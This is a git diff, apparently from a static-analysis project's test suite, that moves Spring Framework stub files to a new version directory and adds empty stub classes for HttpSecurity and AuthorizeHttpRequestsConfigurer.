diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/PreparedStatementSetter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/PreparedStatementSetter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/PreparedStatementSetter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/PreparedStatementSetter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/ResultSetExtractor.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/ResultSetExtractor.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/ResultSetExtractor.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/ResultSetExtractor.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/ResultSetSupportingSqlParameter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/ResultSetSupportingSqlParameter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/ResultSetSupportingSqlParameter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/ResultSetSupportingSqlParameter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/RowCallbackHandler.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/RowCallbackHandler.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/RowCallbackHandler.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/RowCallbackHandler.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/RowMapper.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/RowMapper.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/RowMapper.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/RowMapper.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/SqlParameter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/SqlParameter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/SqlParameter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/SqlParameter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/StatementCallback.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/StatementCallback.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/StatementCallback.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/StatementCallback.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/namedparam/NamedParameterJdbcOperations.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/namedparam/NamedParameterJdbcOperations.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/namedparam/NamedParameterJdbcOperations.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/namedparam/NamedParameterJdbcOperations.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/namedparam/ParsedSql.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/namedparam/ParsedSql.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/namedparam/ParsedSql.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/namedparam/ParsedSql.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/namedparam/SqlParameterSource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/namedparam/SqlParameterSource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/core/namedparam/SqlParameterSource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/core/namedparam/SqlParameterSource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/BatchSqlUpdate.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/BatchSqlUpdate.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/BatchSqlUpdate.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/BatchSqlUpdate.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/MappingSqlQuery.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/MappingSqlQuery.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/MappingSqlQuery.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/MappingSqlQuery.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/MappingSqlQueryWithParameters.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/MappingSqlQueryWithParameters.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/MappingSqlQueryWithParameters.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/MappingSqlQueryWithParameters.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/RdbmsOperation.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/RdbmsOperation.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/RdbmsOperation.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/RdbmsOperation.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/SqlFunction.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/SqlFunction.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/SqlFunction.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/SqlFunction.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/SqlOperation.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/SqlOperation.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/SqlOperation.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/SqlOperation.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/SqlQuery.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/SqlQuery.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/SqlQuery.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/SqlQuery.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/SqlUpdate.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/SqlUpdate.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/SqlUpdate.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/SqlUpdate.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/UpdatableSqlQuery.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/UpdatableSqlQuery.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/object/UpdatableSqlQuery.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/object/UpdatableSqlQuery.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/JdbcAccessor.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/JdbcAccessor.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/JdbcAccessor.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/JdbcAccessor.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/KeyHolder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/KeyHolder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/KeyHolder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/KeyHolder.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/SQLExceptionTranslator.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/SQLExceptionTranslator.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/SQLExceptionTranslator.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/SQLExceptionTranslator.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/rowset/SqlRowSet.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/rowset/SqlRowSet.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/rowset/SqlRowSet.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/rowset/SqlRowSet.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/rowset/SqlRowSetMetaData.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/rowset/SqlRowSetMetaData.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jdbc/support/rowset/SqlRowSetMetaData.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jdbc/support/rowset/SqlRowSetMetaData.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jndi/JndiCallback.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jndi/JndiCallback.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jndi/JndiCallback.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jndi/JndiCallback.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/jndi/JndiTemplate.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/jndi/JndiTemplate.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/jndi/JndiTemplate.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/jndi/JndiTemplate.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/lang/Nullable.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/lang/Nullable.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/lang/Nullable.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/lang/Nullable.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/caucho/HessianExporter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/caucho/HessianExporter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/caucho/HessianExporter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/caucho/HessianExporter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/caucho/HessianServiceExporter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/caucho/HessianServiceExporter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/caucho/HessianServiceExporter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/caucho/HessianServiceExporter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/rmi/RemoteInvocationSerializingExporter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/rmi/RemoteInvocationSerializingExporter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/rmi/RemoteInvocationSerializingExporter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/rmi/RemoteInvocationSerializingExporter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/rmi/RmiBasedExporter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/rmi/RmiBasedExporter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/rmi/RmiBasedExporter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/rmi/RmiBasedExporter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/rmi/RmiServiceExporter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/rmi/RmiServiceExporter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/remoting/rmi/RmiServiceExporter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/remoting/rmi/RmiServiceExporter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/scripting/ScriptEvaluator.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/scripting/ScriptEvaluator.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/scripting/ScriptEvaluator.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/scripting/ScriptEvaluator.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/scripting/ScriptSource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/scripting/ScriptSource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/scripting/ScriptSource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/scripting/ScriptSource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/scripting/bsh/BshScriptEvaluator.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/scripting/bsh/BshScriptEvaluator.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/scripting/bsh/BshScriptEvaluator.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/scripting/bsh/BshScriptEvaluator.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/scripting/support/StaticScriptSource.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/scripting/support/StaticScriptSource.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/scripting/support/StaticScriptSource.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/scripting/support/StaticScriptSource.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/Customizer.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/Customizer.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/Customizer.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/Customizer.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/AbstractConfiguredSecurityBuilder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/AbstractConfiguredSecurityBuilder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/AbstractConfiguredSecurityBuilder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/AbstractConfiguredSecurityBuilder.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/AbstractSecurityBuilder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/AbstractSecurityBuilder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/AbstractSecurityBuilder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/AbstractSecurityBuilder.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/SecurityBuilder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/SecurityBuilder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/SecurityBuilder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/SecurityBuilder.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/SecurityConfigurer.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/SecurityConfigurer.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/SecurityConfigurer.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/SecurityConfigurer.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/SecurityConfigurerAdapter.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/SecurityConfigurerAdapter.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/SecurityConfigurerAdapter.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/SecurityConfigurerAdapter.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/AbstractRequestMatcherRegistry.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/AbstractRequestMatcherRegistry.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/AbstractRequestMatcherRegistry.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/AbstractRequestMatcherRegistry.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/HttpSecurityBuilder.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/HttpSecurityBuilder.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/HttpSecurityBuilder.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/HttpSecurityBuilder.java
diff --git a/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/builders/HttpSecurity.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/builders/HttpSecurity.java
new file mode 100644
index 000000000000..f900fc74d2fd
--- /dev/null
+++ b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/builders/HttpSecurity.java
@@ -0,0 +1,81 @@
+package org.springframework.security.config.annotation.web.builders;
+
+import org.springframework.security.config.annotation.AbstractConfiguredSecurityBuilder;
+import org.springframework.security.config.annotation.SecurityBuilder;
+import org.springframework.security.config.annotation.web.HttpSecurityBuilder;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity.RequestMatcherConfigurer;
+import org.springframework.security.web.DefaultSecurityFilterChain;
+import org.springframework.security.web.util.matcher.RequestMatcher;
+import org.springframework.security.config.Customizer;
+import org.springframework.security.config.annotation.web.configurers.CsrfConfigurer;
+import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
+import org.springframework.security.config.annotation.web.configurers.AuthorizeHttpRequestsConfigurer;
+import org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry;
+
+public final class HttpSecurity extends AbstractConfiguredSecurityBuilder<DefaultSecurityFilterChain, HttpSecurity>
+		implements SecurityBuilder<DefaultSecurityFilterChain>, HttpSecurityBuilder<HttpSecurity> {
+
+	public HttpSecurity requestMatcher(RequestMatcher requestMatcher) {
+		return this;
+	}
+
+	public HttpSecurity securityMatcher(RequestMatcher requestMatcher) {
+		return this;
+	}
+
+	public HttpSecurity securityMatcher(String... patterns) {
+		return this;
+	}
+
+	public HttpSecurity authorizeRequests(
+			Customizer<ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry> authorizeRequestsCustomizer)
+			throws Exception {
+		return this;
+	}
+
+	public ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry authorizeRequests()
+			throws Exception {
+		return null;
+	}
+
+	public HttpSecurity authorizeHttpRequests(
+			Customizer<AuthorizeHttpRequestsConfigurer<HttpSecurity>.AuthorizationManagerRequestMatcherRegistry> authorizeHttpRequestsCustomizer)
+			throws Exception {
+		return this;
+	}
+
+	public AuthorizeHttpRequestsConfigurer<HttpSecurity>.AuthorizationManagerRequestMatcherRegistry authorizeHttpRequests()
+			throws Exception {
+		return null;
+	}
+
+	public HttpSecurity requestMatchers(Customizer<RequestMatcherConfigurer> requestMatcherCustomizer) {
+		return this;
+	}
+
+	public RequestMatcherConfigurer requestMatchers() {
+		return null;
+	}
+
+	public HttpSecurity securityMatchers(Customizer<RequestMatcherConfigurer> requestMatcherCustomizer) {
+		return this;
+	}
+
+	public RequestMatcherConfigurer securityMatchers() {
+		return null;
+	}
+
+	public CsrfConfigurer<HttpSecurity> csrf() {
+		return null;
+	}
+
+	public HttpSecurity csrf(Customizer<CsrfConfigurer<HttpSecurity>> csrfCustomizer) {
+		return null;
+	}
+
+	public final class MvcMatchersRequestMatcherConfigurer extends RequestMatcherConfigurer {
+	}
+
+	public class RequestMatcherConfigurer extends AbstractRequestMatcherRegistry<RequestMatcherConfigurer> {
+	}
+}
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/AbstractConfigAttributeRequestMatcherRegistry.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AbstractConfigAttributeRequestMatcherRegistry.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/AbstractConfigAttributeRequestMatcherRegistry.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AbstractConfigAttributeRequestMatcherRegistry.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/AbstractHttpConfigurer.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AbstractHttpConfigurer.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/AbstractHttpConfigurer.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AbstractHttpConfigurer.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/AbstractInterceptUrlConfigurer.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AbstractInterceptUrlConfigurer.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/AbstractInterceptUrlConfigurer.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AbstractInterceptUrlConfigurer.java
diff --git a/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AuthorizeHttpRequestsConfigurer.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AuthorizeHttpRequestsConfigurer.java
new file mode 100644
index 000000000000..ff54fc7e3d11
--- /dev/null
+++ b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/AuthorizeHttpRequestsConfigurer.java
@@ -0,0 +1,22 @@
+package org.springframework.security.config.annotation.web.configurers;
+
+import org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry;
+import org.springframework.security.config.annotation.web.HttpSecurityBuilder;
+
+public final class AuthorizeHttpRequestsConfigurer<H extends HttpSecurityBuilder<H>>
+		extends AbstractHttpConfigurer<AuthorizeHttpRequestsConfigurer<H>, H> {
+
+	public final class AuthorizationManagerRequestMatcherRegistry extends
+			AbstractRequestMatcherRegistry<AuthorizedUrl> {
+	}
+
+	public class AuthorizedUrl {
+		public AuthorizationManagerRequestMatcherRegistry permitAll() {
+			return null;
+		}
+
+		public AuthorizationManagerRequestMatcherRegistry hasRole(String role) {
+			return null;
+		}
+	}
+}
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/CsrfConfigurer.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/CsrfConfigurer.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/CsrfConfigurer.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/CsrfConfigurer.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/ExpressionUrlAuthorizationConfigurer.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/ExpressionUrlAuthorizationConfigurer.java
similarity index 88%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/ExpressionUrlAuthorizationConfigurer.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/ExpressionUrlAuthorizationConfigurer.java
index 012997dc5024..be4e14019779 100644
--- a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/annotation/web/configurers/ExpressionUrlAuthorizationConfigurer.java
+++ b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/annotation/web/configurers/ExpressionUrlAuthorizationConfigurer.java
@@ -12,5 +12,9 @@ public class AuthorizedUrl {
 		public ExpressionInterceptUrlRegistry permitAll() {
 			return null;
 		}
+
+		public ExpressionInterceptUrlRegistry hasRole(String role) {
+			return null;
+		}
 	}
 }
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/web/server/ServerHttpSecurity.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/web/server/ServerHttpSecurity.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/config/web/server/ServerHttpSecurity.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/config/web/server/ServerHttpSecurity.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/DefaultSecurityFilterChain.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/DefaultSecurityFilterChain.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/DefaultSecurityFilterChain.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/DefaultSecurityFilterChain.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/SecurityFilterChain.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/SecurityFilterChain.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/SecurityFilterChain.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/SecurityFilterChain.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/csrf/CsrfToken.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/csrf/CsrfToken.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/csrf/CsrfToken.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/csrf/CsrfToken.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/savedrequest/SavedRequest.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/savedrequest/SavedRequest.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/savedrequest/SavedRequest.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/savedrequest/SavedRequest.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/savedrequest/SimpleSavedRequest.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/savedrequest/SimpleSavedRequest.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/savedrequest/SimpleSavedRequest.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/savedrequest/SimpleSavedRequest.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/util/matcher/RequestMatcher.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/util/matcher/RequestMatcher.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/security/web/util/matcher/RequestMatcher.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/security/web/util/matcher/RequestMatcher.java
diff --git a/java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Component.java b/java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Component.java
similarity index 100%
rename from java/ql/test/stubs/springframework-5.3.8/org/springframework/stereotype/Component.java
rename to java/ql/test/stubs/springframework-5.8.x/org/springframework/stereotype/Component.java
